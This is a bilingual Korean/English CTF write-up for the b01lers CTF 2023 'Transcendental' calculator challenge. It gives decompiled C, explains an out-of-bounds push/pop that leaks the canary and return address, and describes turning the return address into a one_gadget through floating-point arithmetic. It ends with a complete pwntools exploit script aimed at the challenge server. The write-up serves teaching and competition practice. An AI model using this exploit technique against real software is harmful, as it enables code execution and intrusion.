[CTF write up] b01lers CTF 2023 - Transcendental : It is a misc not pwn :(

2023. 3. 20. 07:23CTF write up

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char op; // al
  char i; // dl
  int idx; // eax
  double reg[11]; // [rsp+0h] [rbp-78h] BYREF
  unsigned __int64 v8; // [rsp+58h] [rbp-20h]

  v8 = __readfsqword(0x28u);
  puts(
    "==============================================================\n"
    "== B01lers Calculator - Transcendental Figures edition 2023 ==\n"
    "==============================================================\n");
  memset(reg, 0, sizeof(reg));
LABEL_2:
  print_menu();
  while ( 1 )
  {
    __printf_chk(1LL, "choice: ");
    fflush(stdout);
    op = getchar_();
    if ( op == 'q' )
      return 0LL;
    if ( op != '\n' )
    {
      switch ( op )
      {
        case '7':                               // laod pie
          reg[0] = 3.141592653589793;
          goto LABEL_2;
        case '8':                               // load e
          reg[0] = 2.718281828459045;
          goto LABEL_2;
        case '4':
          reg[0] = reg[0] + reg[1];
          goto LABEL_2;
        case '5':
          reg[0] = reg[0] - reg[1];
          goto LABEL_2;
        case '6':
          reg[0] = reg[0] * reg[1];
          goto LABEL_2;
        case '1':                               // push
          for ( i = get_remain((__int64)reg); i; --i )
            reg[i] = reg[i - 1];
          reg[0] = 0.0;
          goto LABEL_2;
        case '2':                               // pop
          idx = get_remain((__int64)reg);
          if ( idx )
            memmove(reg, &reg[1], 8LL * (unsigned int)(idx - 1) + 8);
          goto LABEL_2;
        case '3':                               // swap
          *(__m128d *)reg = _mm_shuffle_pd(*(__m128d *)reg, *(__m128d *)reg, 1);
          goto LABEL_2;
        case '9':                               // show
          do
          {
            __printf_chk(1LL, "idx: ");
            fflush(stdout);
          }
          while ( (char)getchar_() - 48 > 9 );
          __printf_chk(1LL, "-> value is %g\n\n");
          goto LABEL_2;
      }
    }
  }
}

push 와 pop을 할때 reg[11] 범위를 벗어날 수 있다. 더미 값을 push 한다음 다시 pop해서 canary와 ret를 끌어올 수 있으며, swap을 통해 canary를 보존하고 ret만을 변조할 수 있다.

When doing push and pop, reg[11] can go out of bounds. You can pull canary and ret by pushing a dummy value and then popping it again, and you can preserve canary and modulate only ret through swap.

 

결국, p와 e 값을 이용해 ret를 one_gadget으로 변조하고 다시 canary와 swap 한다음 push를 통해 원래자리로 보내버리면 된다.

In the end, you can modify ret into one_gadget using the values ​of p and e, swap it with canary again, and send it back to its original position through push.

 

또한 one_gadget 조건을 맞춰주기 위해서, b'₩x00'으로 stdin buffer 채워줘야한다.

Also, you should fill buffer of stdin to b'₩x00' because of restrictions of one_gadget.

 

 

 

gdb

아래의 식으로 ret를 one_gadget으로 만들 수 있다.

You can make ret into one_gadget with the following calculation.

ret + (e*(ret * (p-e)^36))*56073 = ret-785022 (one_gadget)

특정 연산은 다른 c 코드로 테스트 했을떄와 부동소수점 연산 결과가 다른 경우가 있기 때문에 이를 주의해야한다.

Note that certain calculations may have different results from floating-point operations when tested with other c codes.

 

This is the Exploit Code

from pwn import *

def double_to_hex(f):
    return hex(struct.unpack('<Q', struct.pack('<d', f))[0])

#p = process('chal')
p = remote('transcendental.bctf23-codelab.kctf.cloud',1337)
raw_input()

#push
for i in range(0,11):
    p.sendline(b'7')
    p.sendline(b'1')

#pop
for i in range(0,11):
    p.sendline(b'7')
    p.sendline(b'2')

for i in range(0,3):
    p.sendline(b'2')
    p.sendline(b'3')

p.sendline(b'1') #push
p.sendline(b'4') #add (copy)

p.sendline(b'1') #push
p.sendline(b'8') #e
p.sendline(b'1') #push
p.sendline(b'7') #p
p.sendline(b'5') #sub

p.sendline(b'3') #swap
p.sendline(b'2') #pop

p.sendline(b'3') #swap
for i in range(0,36):
    p.sendline(b'6') #mul

p.sendline(b'3') #swap
p.sendline(b'8') #e
p.sendline(b'3') #swap
p.sendline(b'6') #mul

p.sendline(b'3') #swap
p.sendline(b'2') #pop

p.sendline(b'3') #swap

for i in range(0,56073):
    p.recvuntil(b'choice')
    p.sendline(b'4') #add
    print(i)

p.sendline(b'3') #swap
p.sendline(b'2') #pop
p.sendline(b'3') #swap

for i in range(0,3):
    p.sendline(b'1') #push
    p.sendline(b'7') #p
    p.sendline(b'3') #swap

for i in range(0,11):
    p.sendline(b'1') #push
    p.sendline(b'7') #p

p.sendline(b'\x00'*0x1000)
p.sendline(b'q')

p.interactive()